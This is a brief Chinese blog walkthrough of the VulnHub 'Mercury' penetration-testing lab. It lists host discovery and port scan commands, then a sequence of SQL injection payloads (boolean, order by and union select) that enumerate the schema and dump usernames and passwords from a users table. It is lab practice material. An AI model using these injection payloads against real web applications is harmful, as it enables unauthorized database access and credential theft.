xing-vulnhub-mercury靶场#渗透测试

最新推荐文章于 2024-09-03 19:59:00 发布

原创

最新推荐文章于 2024-09-03 19:59:00 发布 · 1k 阅读

CC 4.0 BY-SA版权

文章标签：

kali：192.168.2.15

靶机：192.168.2.25

这个靶场需要修改网卡配置，网卡配置修改在网站连接有教程:vulnhub靶场——THE PLANETS: MERCURY_trinity.txt.bak-优快云博客
netdiscover -r ip //扫描靶场主机ip
namp -p- ip -a //查看靶场的详细信息
开放8080和22端口号---->http 8080然后找信息，发现404报错有个目录，进入目录，有一个目录存在漏洞----> 1 or 1=1 返回了所有信息----->尝试用1 order by 1来查看返回的字段，发现只有一个字段---->1 union all select database();使用这条sql语句来查询数据库名字---->1 union all select table_name from information_schema.tables where table_schema='mercury';使用sql语句来查询元数据库中mercury中的表名---->1 union all select column_name from information_schema.columns where table_schema='mercury' and table_name='users'；查询这个users列中的内容--->1 union select group_concat(id,':',username,':',password) from mercury.users; 查看来自mercury库中users列中的id，username，password的内容

1 union select database(); //查询数据库